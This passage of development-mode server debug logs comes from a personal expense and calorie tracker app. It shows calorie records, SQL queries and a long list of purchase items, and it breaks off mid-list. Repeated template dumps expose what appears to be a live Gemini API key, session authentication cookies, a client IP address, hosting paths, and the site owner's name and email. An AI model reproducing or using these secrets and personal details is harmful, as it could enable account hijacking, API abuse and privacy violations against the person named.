    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1313',
    surplus_or_deficit: '1087',
    status_flag: 2
  }
]
2025-12-16T12:06:04.743Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T12:06:04.744Z server-connect:app Executing action step identify
2025-12-16T12:06:04.744Z server-connect:app options: { provider: 'security' }
2025-12-16T12:06:04.744Z server-connect:output identity: 1
2025-12-16T12:06:04.744Z server-connect:app Executing action step restrict
2025-12-16T12:06:04.744Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T12:06:04.746Z server-connect:output restrict: undefined
2025-12-16T12:06:04.746Z server-connect:router Render template layouts/main
2025-12-16T12:06:04.746Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"14708-VifItkNNqYD2ek0Qcm3d3KqGyfs"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"14708-VifItkNNqYD2ek0Qcm3d3KqGyfs"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T12:06:05.569Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T12:06:05.570Z server-connect:app Executing action step identify
2025-12-16T12:06:05.570Z server-connect:app options: { provider: 'security' }
2025-12-16T12:06:05.570Z server-connect:output identity: 1
2025-12-16T12:06:05.570Z server-connect:app Executing action step restrict
2025-12-16T12:06:05.570Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T12:06:05.571Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T12:06:05.571Z server-connect:output restrict: undefined
2025-12-16T12:06:05.571Z server-connect:app Executing action step select
2025-12-16T12:06:05.571Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T12:06:05.572Z server-connect:app Executing action step identify
2025-12-16T12:06:05.572Z server-connect:app options: { provider: 'security' }
2025-12-16T12:06:05.572Z server-connect:output identity: 1
2025-12-16T12:06:05.572Z server-connect:app Executing action step restrict
2025-12-16T12:06:05.572Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T12:06:05.577Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T12:06:05.579Z server-connect:output restrict: undefined
2025-12-16T12:06:05.579Z server-connect:app Executing action step single
2025-12-16T12:06:05.579Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T12:06:05.581Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T12:06:09.205Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T12:06:09.205Z server-connect:app Executing action step identify
2025-12-16T12:06:09.205Z server-connect:app options: { provider: 'security' }
2025-12-16T12:06:09.205Z server-connect:output identity: 1
2025-12-16T12:06:09.206Z server-connect:app Executing action step restrict
2025-12-16T12:06:09.206Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T12:06:09.206Z server-connect:output restrict: undefined
2025-12-16T12:06:09.206Z server-connect:router Render template layouts/main
2025-12-16T12:06:09.206Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fc26-9zWFFpChwsWFvXy08SpdBMybGw0"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fc26-9zWFFpChwsWFvXy08SpdBMybGw0"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-16T12:06:09.797Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-16T12:06:09.797Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-16T12:06:09.798Z server-connect:app Executing action step identify
2025-12-16T12:06:09.798Z server-connect:app options: { provider: 'security' }
2025-12-16T12:06:09.798Z server-connect:output identity: 1
2025-12-16T12:06:09.798Z server-connect:app Executing action step restrict
2025-12-16T12:06:09.798Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T12:06:09.799Z server-connect:app Executing action step identify
2025-12-16T12:06:09.799Z server-connect:app options: { provider: 'security' }
2025-12-16T12:06:09.799Z server-connect:output identity: 1
2025-12-16T12:06:09.799Z server-connect:app Executing action step restrict
2025-12-16T12:06:09.799Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T12:06:09.799Z server-connect:output restrict: undefined
2025-12-16T12:06:09.799Z server-connect:app Executing action step single
2025-12-16T12:06:09.799Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T12:06:09.800Z server-connect:output restrict: undefined
2025-12-16T12:06:09.800Z server-connect:app Executing action step select
2025-12-16T12:06:09.800Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-16T12:06:09.801Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T12:06:09.803Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
